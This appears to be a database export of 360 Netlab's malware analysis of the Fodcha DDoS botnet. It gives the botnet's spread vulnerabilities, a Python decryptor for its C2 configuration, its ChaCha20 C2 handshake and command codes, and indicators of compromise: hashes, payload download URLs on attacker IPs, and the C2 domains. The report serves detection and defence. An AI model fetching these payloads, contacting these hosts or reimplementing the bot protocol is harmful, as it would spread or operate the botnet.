第二次\n分组字串```arm```,使用chacha20加密,轮数为1,得到```ad ec f8```\n\n至此BOT成功上线,开始等待执行C2下发的指令,指令码及其含义如下所示:\n* 0x69, Heartbeat\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_heart.png\" width=\"860px\" /> \n* 0xEB, DDoS Attack\n* 0xFB, Exit\n\n"}],["html",{"html":"<hr>"}],["markdown",{"markdown":"\n\n## C2跟踪\n\n我们的僵尸网络跟踪系统数据显示`Fodcha`从诞生起就一直有对外发起DDoS攻击,其攻击目标趋势如下:\n\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha.cctrackmon.png\" width=\"860px\" /> \n\n\n可以看到,该家族的DDoS行为是非常活跃:\n* 攻击最猛烈的时候是 2022-03-01,跟踪到超过130k条指令\n* 最近一周,日均指令超过7k,针对100+目标\n\n\n同时,我们从DNS的角度,也可以清晰的看到该家族的C2域名在 2022-03-19前后做了一次更替,对应前述样本分析部分中 v1 到 v2 的转变。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha.dnsmon.png\" width=\"860px\" /> \n\n> \n> Netlab按:\n> v1 到 v2 的转变,是因为v1版本的C2对应的IP被国外某云厂商处置过,因此Fodcha的运营者迫不得已重新上线了v2版本,更新了C2。新C2映射到十几个IP,而且分布在美国、韩国、日本、印度多个国家,同时分散在 Amazon、DediPath、DigitalOcean、Linode等多个平台,充满了“危机意识”。\n> \n\n\n\n## 防范建议\n\n请广大网民及服务/产品厂商强化风险意识,加强安全防范,避免不必要的经济损失,主要建议包括:1、及时修复相关系统漏洞。2、不使用弱密码或默认密码,定期更换密码。\n\n当发现主机感染僵尸木马程序后,立即核实主机受控情况和入侵途径,并对受害主机进行清理。\n\n\n## IoC\n#### 样本MD5\n```\n0e3ff1a19fcd087138ec85d5dba59715\n1b637faa5e424966393928cd6df31849\n208e72261e10672caa60070c770644ba\n2251cf2ed00229c8804fc91868b3c1cb\n2a02e6502db381fa4d4aeb356633af73\n2ed0c36ebbeddb65015d01e6244a2846\n2fe2deeb66e1a08ea18dab520988d9e4\n37adb95cbe4875a9f072ff7f2ee4d4ae\n3fc8ae41752c7715f7550dabda0eb3ba\n40f53c47d360c1c773338ef5c42332f8\n4635112e2dfe5068a4fe1ebb1c5c8771\n525670acfd097fa0762262d9298c3b3b\n54e4334baa01289fa4ee966a806ef7f1\n5567bebd550f26f0a6df17b95507ca6d\n5bdb128072c02f52153eaeea6899a5b1\n6244e9da30a69997cf2e61d8391976d9\n65dd4b23518cba77caab3e8170af8001\n6788598e9c37d79fd02b7c570141ddcf\n760b2c21c40e33599b0a10cf0958cfd4\n792fdd3b9f0360b2bbee5864845c324c\n7a6ebf1567de7e432f09f53ad14d7bc5\n9413d6d7b875f071314e8acae2f7e390\n954879959743a7c63784d1204efc7ed3\n977b4f1a153e7943c4db6e5a3bf40345\n9defda7768d2d806b06775c5768428c4\n9dfa80650f974dffe2bda3ff8495b394\na996e86b511037713a1be09ee7af7490\nb11d8e45f7888ce85a67f98ed7f2cd89\nb1776a09d5490702c12d85ab6c6186cd\nb774ad07f0384c61f96a7897e87f96c0\nc99db0e8c3ecab4dd7f13f3946374720\nc9cbf28561272c705c5a6b44897757ca\ncbdb65e4765fbd7bcae93b393698724c\nd9c240dbed6dfc584a20246e8a79bdae\ne372e5ca89dbb7b5c1f9f58fe68a8fc7\nebf81131188e3454fe066380fa469d22\nfe58b08ea78f3e6b1f59e5fe40447b11\n```\n\n#### 下载链接\n```\nhttp://139.177.195.192/bins/arm\nhttp://139.177.195.192/bins/arm5\nhttp://139.177.195.192/bins/arm7\nhttp://139.177.195.192/bins/mips\nhttp://139.177.195.192/bins/realtek.mips\nhttp://139.177.195.192/blah\nhttp://139.177.195.192/linnn\nhttp://139.177.195.192/skidrt\nhttp://139.177.195.192/z.sh\nhttp://162.33.179.171/bins/arm\nhttp://162.33.179.171/bins/arm7\nhttp://162.33.179.171/bins/mpsl\nhttp://162.33.179.171/bins/realtek.mips\nhttp://162.33.179.171/bins/realtek.mpsl\nhttp://162.33.179.171/blah\nhttp://162.33.179.171/k.sh\nhttp://162.33.179.171/linnn\nhttp://162.33.179.171/z.sh\nhttp://206.188.197.104/bins/arm7\nhttp://206.188.197.104/bins/realtek.mips\nhttp://206.188.197.104/skidrt\nhttp://31.214.245.253/bins/arm\nhttp://31.214.245.253/bins/arm7\nhttp://31.214.245.253/bins/mips\nhttp://31.214.245.253/bins/mpsl\nhttp://31.214.245.253/bins/x86\nhttp://31.214.245.253/k.sh\nhttp://31.214.245.253/kk.sh\n```\n\n#### C2域名\n```\nfolded.in\nfridgexperts.cc\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[1,"p",[]]],"ghostVersion":"3.0"} | 624fdf3c2c81b900076f9725 |
post | null | 2022-04-13T01:20:11.000Z | 63873b9a8b1c1e0007f53017 | fodcha-a-new-ddos-botnet | 0 | 2022-04-13T14:01:14.000Z | public | published | null | 2022-04-13T14:01:14.000Z | Fodcha, a new DDos botnet | <h2 id="overview">Overview</h2><p>Recently, CNCERT and 360netlab worked together and discovered a rapidly spreading DDoS botnet on the Internet. The global infection looks fairly big as just in China there are more than 10,000 daily active bots (IPs) and alsomore than 100 DDoS victims beingtargeted on a daily basis. We named the botnet Fodcha because of its initial use of the C2 domain name folded.in and its use of the chacha algorithm to encrypt network traffic.</p><!--kg-card-begin: markdown--><h2 id="botnetsize">Botnet size</h2>
<p>From March 29 to April 10, 2022, the total number of unique Fodcha bots(IPs) has exceeded 62,000, and daily numbers fluctuate around 10,000. A daily breakdown is shown below.</p>
<p><img src="__GHOST_URL__/content/images/2022/04/fodcha.online.png" alt="fodcha.online" loading="lazy"></p>
<blockquote>
<p>Netlab note:<br>
Based on direct data from the security community that we worked with, the number of daily live bots are more than 56000.</p>
</blockquote>
<p>When we look at the domestic data, the top provinces that the bots are coming from are the Shandong Province (12.9%), the Liaoning Province (11.8%) and the Zhejiang Province (9.9%).The service providers that these bots originate from are China Unicom(59.9%), China Telecom(39.4%), and China Mobile(0.5%).</p>
<p><img src="__GHOST_URL__/content/images/2022/04/fodcha.diss.province-1.png" alt="fodcha.diss.province-1" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2022/04/fodcha.diss.isp.png" alt="fodcha.diss.isp" loading="lazy"></p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="spreadmethod">Spread method</h2>
<p>Fodcha is mainly spreading through the following NDay vulnerabilities and Telnet/SSH weak passwords.</p>
<blockquote>
<p>Netlab note:<br>
We observed that a brute-force cracking tool we named Crazyfia appears on the same downloader server of FodchaThe scan results of this tool will be used by the Fodcha author to install Fodcha samples on the vulnerable devices.</p>
</blockquote>
<p><img src="__GHOST_URL__/content/images/2022/04/fodcha.vul.png" alt="fodcha.vul" loading="lazy"></p>
<p>List of main vulnerabilities:</p>
<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Affected Device/Service</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.exploit-db.com/exploits/39328">Android ADB Debug Server RCE</a></td>
<td>Android</td>
</tr>
<tr>
<td><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205">CVE-2021-22205</a></td>
<td>GitLab</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-35394">CVE-2021-35394</a></td>
<td>Realtek Jungle SDK</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41471/">JAWS Webserver unauthenticated shell command execution</a></td>
<td>MVPower DVR</td>
</tr>
<tr>
<td><a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day/">LILIN DVR RCE</a></td>
<td>LILIN DVR</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/37770">TOTOLINK Routers Backdoor</a></td>
<td>TOTOLINK Routers</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/38453">ZHONE Router Web RCE</a></td>
<td>ZHONE Router</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="sampleanalysis">Sample Analysis</h2>
<p>The Fodcha botnet includes samples targeting mips, mpsl, arm, x86, and other CPU architectures. In the past 3 months, the Fodcha samples we captured can be divided into two versions, v1 and v2. Their main functions are almost the same. By cross-referencing the different versions, we can tell that the Fodcha operators are really trying to hide their C2s and load-balance among the C2s.</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>Chacha20</th>
<th>C2 Format</th>
<th>C2</th>
<th>MAPPING(Domain<-->IP)</th>
<th>MAPPING(IP<-->PORT )</th>
</tr>
</thead>
<tbody>
<tr>
<td>v1</td>
<td>yes</td>
<td>plaintext</td>
<td>folded.in</td>
<td>1:N</td>
<td>N:1</td>
</tr>
<tr>
<td>v2</td>
<td>yes</td>
<td>ciphertext</td>
<td>fridgexperts.cc</td>
<td>1:N</td>
<td>N:10</td>
</tr>
</tbody>
</table>
<p>The latest sample of V2 X86 CPU architecture is selected as the main object of analysis in this paper, and its basic information is as follows.</p>
<pre><code>8ea56a9fa9b11b15443b369f49fa9719
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None
</code></pre>
<p>Fodcha's function is simple. When it executes on the compromised device, it first checks the runtime parameters. When there are no parameters, it exits out. Fodcha does this as a simple countermeasure to deter sandbox. When parameters are present, it first decrypts the key configurations data, the data include some sensitive information such as C2s will It then prints “here we are” on the Console, and uses a random string to disguise the process name. Finally communication with the C2 will be established. The following section will focus on Fodcha's decryption method and network communication.</p>
<h4 id="decryptingkeyconfigurations">Decrypting key configurations</h4>
<p>Fodcha uses a multiple-Xor encryption method to protect its key configurations such as C2 data.</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_xor.png" width="860px" />
<p>The corresponding python implementation is shown below, taking the ciphertext <code>EB D3 EB C9 C2 EF F6 FD FD FC FB F1 A3 FB E9</code> in the sample as an example. After decryption, we will get the Fodcha's C2: <strong>fridgexperts.cc</strong>.</p>
<pre><code class="language-python">cipher=[ 0xEB, 0xD3, 0xEB, 0xC9, 0xC2, 0xEF, 0xF6, 0xFD, 0xFD, 0xFC,
0xFB, 0xF1, 0xA3, 0xFB, 0xE9]
key=[0x66, 0x4A, 0x69, 0x46, 0x4E, 0x61, 0x65, 0x66, 0x73, 0x65,
0x64, 0x69, 0x66, 0x73, 0x61, 0x69, 0x66, 0x73, 0x69,00]
tmp=[]
for i in range(len(cipher)):
tmp.append((cipher[i] ^ key[i])%0xff^0xbe)
for i in range(len(tmp)):
for j in key:
tmp[i]^=j
out=''.join([chr(i) for i in tmp])
print out
</code></pre>
<h4 id="networkcommunication">Network communication</h4>
<p>Fodcha establishes a connection with C2 through the following code fragment where the DNS A record IP of the C2 domain corresponds to the PORT of N:10.</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_connect.png" width="860px" />
<img src="__GHOST_URL__/content/images/2022/04/fodcha_mapping.png" width="860px" />
<p>Once the connection is successfully established with C2, the Bot must go through 5 rounds of interaction with C2 before it can actually communicate with C2. We use arm as the packet string, which generates the network traffic shown in the following figure.</p>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_net.png" width="860px" />
<p>Let us elaborate on how this traffic is generated:</p>
<h6 id="step1botc2fixedlength5bytes">Step 1: Bot-->C2 (fixed length 5 bytes)</h6>
<p>The hard-coded <code>ee 00 00</code> is calculated by the tcp/ip checksum method to get the 2-byte checksum value 0xff11, which is filled to the last 2 bytes.</p>
<pre><code class="language-python">def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[i+1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
</code></pre>
<h6 id="step2c2bot2timesthefirst32bytesthesecond12bytes">Step 2: C2-->BOT (2 times, the first 32 bytes; the second 12 bytes)</h6>
<p>Note that the key and nonce are generated by the C2 side, not fixed.</p>
<pre><code>32 bytes at the beginning is chacha20 key:
26 14 2d 4d 58 d2 9e 26 67 98 bc e4 ef 69 b9 04
e6 d0 73 17 5c 4f 71 33 9f 97 18 f7 31 8d d4 d6
12 bytes at the last is chacha20 nonce:
2f 8a 5c da 57 50 a6 64 d7 98 f5 5d
</code></pre>
<h6 id="step3botc2fixedlength5bytes">Step 3: BOT-->C2 (fixed length 5 bytes)</h6>
<p>Hard-coded <code>55 00 00</code> by checksum, calculate the checksum value 0xffaa, fill in the last 2 bytes, become <code>55 00 00 aa ff</code>, then use chacha20 algorithm to encrypt, the number of rounds is 1, get <code>99 9e 95 f6 32</code>.</p>
<h6 id="step4c2botfixedlength5bytes">Step 4: C2-->BOT(fixed length 5 bytes)</h6>
<p>At this point, if the format of the 5 bytes received is <code>0x55</code> at the beginning and the last 2 bytes are the checksum value, it means the previous interaction is right, enter Step 5 and ask BOT to start sending packet information.</p>
<h6 id="step5botc22timesthefirst5bytesthesecondgrouping">Step 5: Bot--->C2 (2 times, the first 5 bytes, the second grouping)</h6>
<ul>
<li>
<p>First time<br>
Hard-coded <code>fe 00 00</code>, the third byte is really the grouping length, becomes <code>fe 00 03</code>, calculate the checksum value 0xfefe, fill in the tail to get <code>fe 00 03 fe fe</code></p>
</li>
<li>
<p>Second time<br>
grouping string <code>arm</code>, use chacha20 encryption, round number 1, get <code>ad ec f8</code></p>
</li>
</ul>
<p>At this point the BOT is successfully registered and waits to execute the instruction issued by C2. The instruction code and its meaning are shown below:<br>
- 0x69, Heartbeat<br>
<img src="__GHOST_URL__/content/images/2022/04/fodcha_heart.png" width="860px" /><br>
- 0xEB, DDoS Attack<br>
- 0xFB, Exit</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="c2tracking">C2 Tracking</h2>
<p>Our botnet tracking system data shows that Fodcha has been launching DDoS attacks non stop since it came online, with the following trends in attack targets.</p>
<p><img src="__GHOST_URL__/content/images/2022/04/fodcha.cccommand.png" alt="fodcha.cccommand" loading="lazy"></p>
<p>As you can see, the DDoS behavior of this family is very active:</p>
<ul>
<li>The most active attack time was on 2022-03-01, with over 130k attacking commands being recorded.</li>
<li>In the recent week, the average daily attack command has exceeded 7k, targeting 100+ DDoS victims.</li>
</ul>
<p>At the same time, we can also clearly see from the DNS perspective that the C2 domain of this family made a turnover around 2022-03-19, corresponding to the shift from v1 to v2 in the aforementioned sample analysis section.</p>
<p><img src="__GHOST_URL__/content/images/2022/04/c2.dns.png" alt="c2.dns" loading="lazy"></p>
<blockquote>
<p>Netlab note:<br>
The shift from v1 to v2 is due to the fact that the C2 servers corresponding to the v1 version were shutdown by a their cloud vendor, so Fodcha's operators had no choice but to re-launch v2 and update C2. The new C2 is mapped to more than a dozen IPs and is distributed across multiple countries including the US, Korea, Japan, and India, it involves more cloud providers such as Amazon, DediPath, DigitalOcean, Linode, and many others.</p>
</blockquote>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="ioc">IoC</h2>
<h4 id="samplehashmd5">Sample Hash(md5)</h4>
<pre><code>0e3ff1a19fcd087138ec85d5dba59715
1b637faa5e424966393928cd6df31849
208e72261e10672caa60070c770644ba
2251cf2ed00229c8804fc91868b3c1cb
2a02e6502db381fa4d4aeb356633af73
2ed0c36ebbeddb65015d01e6244a2846
2fe2deeb66e1a08ea18dab520988d9e4
37adb95cbe4875a9f072ff7f2ee4d4ae
3fc8ae41752c7715f7550dabda0eb3ba
40f53c47d360c1c773338ef5c42332f8
4635112e2dfe5068a4fe1ebb1c5c8771
525670acfd097fa0762262d9298c3b3b
54e4334baa01289fa4ee966a806ef7f1
5567bebd550f26f0a6df17b95507ca6d
5bdb128072c02f52153eaeea6899a5b1
6244e9da30a69997cf2e61d8391976d9
65dd4b23518cba77caab3e8170af8001
6788598e9c37d79fd02b7c570141ddcf
760b2c21c40e33599b0a10cf0958cfd4
792fdd3b9f0360b2bbee5864845c324c
7a6ebf1567de7e432f09f53ad14d7bc5
9413d6d7b875f071314e8acae2f7e390
954879959743a7c63784d1204efc7ed3
977b4f1a153e7943c4db6e5a3bf40345
9defda7768d2d806b06775c5768428c4
9dfa80650f974dffe2bda3ff8495b394
a996e86b511037713a1be09ee7af7490
b11d8e45f7888ce85a67f98ed7f2cd89
b1776a09d5490702c12d85ab6c6186cd
b774ad07f0384c61f96a7897e87f96c0
c99db0e8c3ecab4dd7f13f3946374720
c9cbf28561272c705c5a6b44897757ca
cbdb65e4765fbd7bcae93b393698724c
d9c240dbed6dfc584a20246e8a79bdae
e372e5ca89dbb7b5c1f9f58fe68a8fc7
ebf81131188e3454fe066380fa469d22
fe58b08ea78f3e6b1f59e5fe40447b11
</code></pre>
<h4 id="downloadlinks">Download Links</h4>
<pre><code>http://139.177.195.192/bins/arm
http://139.177.195.192/bins/arm5
http://139.177.195.192/bins/arm7
http://139.177.195.192/bins/mips
http://139.177.195.192/bins/realtek.mips
http://139.177.195.192/blah
http://139.177.195.192/linnn
http://139.177.195.192/skidrt
http://139.177.195.192/z.sh
http://162.33.179.171/bins/arm
http://162.33.179.171/bins/arm7
http://162.33.179.171/bins/mpsl
http://162.33.179.171/bins/realtek.mips
http://162.33.179.171/bins/realtek.mpsl
http://162.33.179.171/blah
http://162.33.179.171/k.sh
http://162.33.179.171/linnn
http://162.33.179.171/z.sh
http://206.188.197.104/bins/arm7
http://206.188.197.104/bins/realtek.mips
http://206.188.197.104/skidrt
http://31.214.245.253/bins/arm
http://31.214.245.253/bins/arm7
http://31.214.245.253/bins/mips
http://31.214.245.253/bins/mpsl
http://31.214.245.253/bins/x86
http://31.214.245.253/k.sh
http://31.214.245.253/kk.sh
</code></pre>
<h4 id="c2domain">C2 domain</h4>
<pre><code>folded.in
fridgexperts.cc
</code></pre>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.</p>
<!--kg-card-end: markdown--> | Overview
Recently, CNCERT and 360netlab worked together and discovered a rapidly spreading DDoS botnet on the Internet. The global infection looks fairly big as just in China there are more than 10,000 daily active bots (IPs) and alsomore than 100 DDoS victims beingtargeted on a daily basis. We named the botnet Fodcha because of its initial use of the C2 domain name folded.in and its use of the chacha algorithm to encrypt network traffic.
Botnet size
From March 29 to April 10, 2022, the total number of unique Fodcha bots(IPs) has exceeded 62,000, and daily numbers fluctuate around 10,000. A daily breakdown is shown below.
Netlab note:
Based on direct data from the security community that we worked with, the number of daily live bots are more than 56000.
When we look at the domestic data, the top provinces that the bots are coming from are the Shandong Province (12.9%), the Liaoning Province (11.8%) and the Zhejiang Province (9.9%).The service providers that these bots originate from are China Unicom(59.9%), China Telecom(39.4%), and China Mobile(0.5%).
Spread method
Fodcha is mainly spreading through the following NDay vulnerabilities and Telnet/SSH weak passwords.
Netlab note:
We observed that a brute-force cracking tool we named Crazyfia appears on the same downloader server of FodchaThe scan results of this tool will be used by the Fodcha author to install Fodcha samples on the vulnerable devices.
List of main vulnerabilities:
Vulnerability
Affected Device/Service
Android ADB Debug Server RCE
Android
CVE-2021-22205
GitLab
CVE-2021-35394
Realtek Jungle SDK
JAWS Webserver unauthenticated shell command execution
MVPower DVR
LILIN DVR RCE
LILIN DVR
TOTOLINK Routers Backdoor
TOTOLINK Routers
ZHONE Router Web RCE
ZHONE Router
Sample Analysis
The Fodcha botnet includes samples targeting mips, mpsl, arm, x86, and other CPU architectures. In the past 3 months, the Fodcha samples we captured can be divided into two versions, v1 and v2. Their main functions are almost the same. By cross-referencing the different versions, we can tell that the Fodcha operators are really trying to hide their C2s and load-balance among the C2s.
Version
Chacha20
C2 Format
C2
MAPPING(Domain<-->IP)
MAPPING(IP<-->PORT )
v1
yes
plaintext
folded.in
1:N
N:1
v2
yes
ciphertext
fridgexperts.cc
1:N
N:10
The latest sample of V2 X86 CPU architecture is selected as the main object of analysis in this paper, and its basic information is as follows.
8ea56a9fa9b11b15443b369f49fa9719
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None
Fodcha's function is simple. When it executes on the compromised device, it first checks the runtime parameters. When there are no parameters, it exits out. Fodcha does this as a simple countermeasure to deter sandbox. When parameters are present, it first decrypts the key configurations data, the data include some sensitive information such as C2s will It then prints “here we are” on the Console, and uses a random string to disguise the process name. Finally communication with the C2 will be established. The following section will focus on Fodcha's decryption method and network communication.
Decrypting key configurations
Fodcha uses a multiple-Xor encryption method to protect its key configurations such as C2 data.
The corresponding python implementation is shown below, taking the ciphertext EB D3 EB C9 C2 EF F6 FD FD FC FB F1 A3 FB E9 in the sample as an example. After decryption, we will get the Fodcha's C2: fridgexperts.cc.
cipher=[ 0xEB, 0xD3, 0xEB, 0xC9, 0xC2, 0xEF, 0xF6, 0xFD, 0xFD, 0xFC,
0xFB, 0xF1, 0xA3, 0xFB, 0xE9]
key=[0x66, 0x4A, 0x69, 0x46, 0x4E, 0x61, 0x65, 0x66, 0x73, 0x65,
0x64, 0x69, 0x66, 0x73, 0x61, 0x69, 0x66, 0x73, 0x69,00]
tmp=[]
for i in range(len(cipher)):
tmp.append((cipher[i] ^ key[i])%0xff^0xbe)
for i in range(len(tmp)):
for j in key:
tmp[i]^=j
out=''.join([chr(i) for i in tmp])
print out
Network communication
Fodcha establishes a connection with C2 through the following code fragment where the DNS A record IP of the C2 domain corresponds to the PORT of N:10.
Once the connection is successfully established with C2, the Bot must go through 5 rounds of interaction with C2 before it can actually communicate with C2. We use arm as the packet string, which generates the network traffic shown in the following figure.
Let us elaborate on how this traffic is generated:
Step 1: Bot-->C2 (fixed length 5 bytes)
The hard-coded ee 00 00 is calculated by the tcp/ip checksum method to get the 2-byte checksum value 0xff11, which is filled to the last 2 bytes.
def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[i+1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
Step 2: C2-->BOT (2 times, the first 32 bytes; the second 12 bytes)
Note that the key and nonce are generated by the C2 side, not fixed.
32 bytes at the beginning is chacha20 key:
26 14 2d 4d 58 d2 9e 26 67 98 bc e4 ef 69 b9 04
e6 d0 73 17 5c 4f 71 33 9f 97 18 f7 31 8d d4 d6
12 bytes at the last is chacha20 nonce:
2f 8a 5c da 57 50 a6 64 d7 98 f5 5d
Step 3: BOT-->C2 (fixed length 5 bytes)
Hard-coded 55 00 00 by checksum, calculate the checksum value 0xffaa, fill in the last 2 bytes, become 55 00 00 aa ff, then use chacha20 algorithm to encrypt, the number of rounds is 1, get 99 9e 95 f6 32.
Step 4: C2-->BOT(fixed length 5 bytes)
At this point, if the format of the 5 bytes received is 0x55 at the beginning and the last 2 bytes are the checksum value, it means the previous interaction is right, enter Step 5 and ask BOT to start sending packet information.
Step 5: Bot--->C2 (2 times, the first 5 bytes, the second grouping)
*
First time
Hard-coded fe 00 00, the third byte is really the grouping length, becomes fe 00 03, calculate the checksum value 0xfefe, fill in the tail to get fe 00 03 fe fe
*
Second time
grouping string arm, use chacha20 encryption, round number 1, get ad ec f8
At this point the BOT is successfully registered and waits to execute the instruction issued by C2. The instruction code and its meaning are shown below:
- 0x69, Heartbeat
- 0xEB, DDoS Attack
- 0xFB, Exit
C2 Tracking
Our botnet tracking system data shows that Fodcha has been launching DDoS attacks non stop since it came online, with the following trends in attack targets.
As you can see, the DDoS behavior of this family is very active:
* The most active attack time was on 2022-03-01, with over 130k attacking commands being recorded.
* In the recent week, the average daily attack command has exceeded 7k, targeting 100+ DDoS victims.
At the same time, we can also clearly see from the DNS perspective that the C2 domain of this family made a turnover around 2022-03-19, corresponding to the shift from v1 to v2 in the aforementioned sample analysis section.
Netlab note:
The shift from v1 to v2 is due to the fact that the C2 servers corresponding to the v1 version were shutdown by a their cloud vendor, so Fodcha's operators had no choice but to re-launch v2 and update C2. The new C2 is mapped to more than a dozen IPs and is distributed across multiple countries including the US, Korea, Japan, and India, it involves more cloud providers such as Amazon, DediPath, DigitalOcean, Linode, and many others.
IoC
Sample Hash(md5)
0e3ff1a19fcd087138ec85d5dba59715
1b637faa5e424966393928cd6df31849
208e72261e10672caa60070c770644ba
2251cf2ed00229c8804fc91868b3c1cb
2a02e6502db381fa4d4aeb356633af73
2ed0c36ebbeddb65015d01e6244a2846
2fe2deeb66e1a08ea18dab520988d9e4
37adb95cbe4875a9f072ff7f2ee4d4ae
3fc8ae41752c7715f7550dabda0eb3ba
40f53c47d360c1c773338ef5c42332f8
4635112e2dfe5068a4fe1ebb1c5c8771
525670acfd097fa0762262d9298c3b3b
54e4334baa01289fa4ee966a806ef7f1
5567bebd550f26f0a6df17b95507ca6d
5bdb128072c02f52153eaeea6899a5b1
6244e9da30a69997cf2e61d8391976d9
65dd4b23518cba77caab3e8170af8001
6788598e9c37d79fd02b7c570141ddcf
760b2c21c40e33599b0a10cf0958cfd4
792fdd3b9f0360b2bbee5864845c324c
7a6ebf1567de7e432f09f53ad14d7bc5
9413d6d7b875f071314e8acae2f7e390
954879959743a7c63784d1204efc7ed3
977b4f1a153e7943c4db6e5a3bf40345
9defda7768d2d806b06775c5768428c4
9dfa80650f974dffe2bda3ff8495b394
a996e86b511037713a1be09ee7af7490
b11d8e45f7888ce85a67f98ed7f2cd89
b1776a09d5490702c12d85ab6c6186cd
b774ad07f0384c61f96a7897e87f96c0
c99db0e8c3ecab4dd7f13f3946374720
c9cbf28561272c705c5a6b44897757ca
cbdb65e4765fbd7bcae93b393698724c
d9c240dbed6dfc584a20246e8a79bdae
e372e5ca89dbb7b5c1f9f58fe68a8fc7
ebf81131188e3454fe066380fa469d22
fe58b08ea78f3e6b1f59e5fe40447b11
Download Links
http://139.177.195.192/bins/arm
http://139.177.195.192/bins/arm5
http://139.177.195.192/bins/arm7
http://139.177.195.192/bins/mips
http://139.177.195.192/bins/realtek.mips
http://139.177.195.192/blah
http://139.177.195.192/linnn
http://139.177.195.192/skidrt
http://139.177.195.192/z.sh
http://162.33.179.171/bins/arm
http://162.33.179.171/bins/arm7
http://162.33.179.171/bins/mpsl
http://162.33.179.171/bins/realtek.mips
http://162.33.179.171/bins/realtek.mpsl
http://162.33.179.171/blah
http://162.33.179.171/k.sh
http://162.33.179.171/linnn
http://162.33.179.171/z.sh
http://206.188.197.104/bins/arm7
http://206.188.197.104/bins/realtek.mips
http://206.188.197.104/skidrt
http://31.214.245.253/bins/arm
http://31.214.245.253/bins/arm7
http://31.214.245.253/bins/mips
http://31.214.245.253/bins/mpsl
http://31.214.245.253/bins/x86
http://31.214.245.253/k.sh
http://31.214.245.253/kk.sh
C2 domain
folded.in
fridgexperts.cc
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Botnet size\nFrom March 29 to April 10, 2022, the total number of unique Fodcha bots(IPs) has exceeded 62,000, and daily numbers fluctuate around 10,000. A daily breakdown is shown below.\n\n![fodcha.online](__GHOST_URL__/content/images/2022/04/fodcha.online.png)\n\n> Netlab note:\n> Based on direct data from the security community that we worked with, the number of daily live bots are more than 56000.\n> \n\nWhen we look at the domestic data, the top provinces that the bots are coming from are the Shandong Province (12.9%), the Liaoning Province (11.8%) and the Zhejiang Province (9.9%).The service providers that these bots originate from are China Unicom(59.9%), China Telecom(39.4%), and China Mobile(0.5%).\n\n![fodcha.diss.province-1](__GHOST_URL__/content/images/2022/04/fodcha.diss.province-1.png)\n![fodcha.diss.isp](__GHOST_URL__/content/images/2022/04/fodcha.diss.isp.png)\n"}],["markdown",{"markdown":"## Spread method\nFodcha is mainly spreading through the following NDay vulnerabilities and Telnet/SSH weak passwords.\n\n> Netlab note:\n> We observed that a brute-force cracking tool we named Crazyfia appears on the same downloader server of FodchaThe scan results of this tool will be used by the Fodcha author to install Fodcha samples on the vulnerable devices.\n> \n\n![fodcha.vul](__GHOST_URL__/content/images/2022/04/fodcha.vul.png)\n\nList of main vulnerabilities:\n\n| Vulnerability | Affected Device/Service |\n| ------------- | ---------------- |\n| [Android ADB Debug Server RCE](https://www.exploit-db.com/exploits/39328) | Android |\n| [CVE-2021-22205](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205) | GitLab |\n| [CVE-2021-35394](https://nvd.nist.gov/vuln/detail/CVE-2021-35394) | Realtek Jungle SDK|\n| [JAWS Webserver unauthenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVR | \n| [LILIN DVR RCE](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day/)| LILIN DVR |\n| [TOTOLINK Routers Backdoor](https://www.exploit-db.com/exploits/37770) | TOTOLINK Routers |\n| [ZHONE Router Web RCE](https://www.exploit-db.com/exploits/38453) | ZHONE Router |\n"}],["markdown",{"markdown":"## Sample Analysis\nThe Fodcha botnet includes samples targeting mips, mpsl, arm, x86, and other CPU architectures. In the past 3 months, the Fodcha samples we captured can be divided into two versions, v1 and v2. Their main functions are almost the same. By cross-referencing the different versions, we can tell that the Fodcha operators are really trying to hide their C2s and load-balance among the C2s.\n\n\n\n| Version | Chacha20 | C2 Format | C2 | MAPPING(Domain<-->IP) | MAPPING(IP<-->PORT ) |\n| ------- | -------- | ---------- | --------------- | --------------------- | -------------------- |\n| v1 | yes | plaintext | folded.in | 1:N | N:1 |\n| v2 | yes | ciphertext | fridgexperts.cc | 1:N | N:10 |\n\n\n\nThe latest sample of V2 X86 CPU architecture is selected as the main object of analysis in this paper, and its basic information is as follows.\n\n```\n8ea56a9fa9b11b15443b369f49fa9719\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, 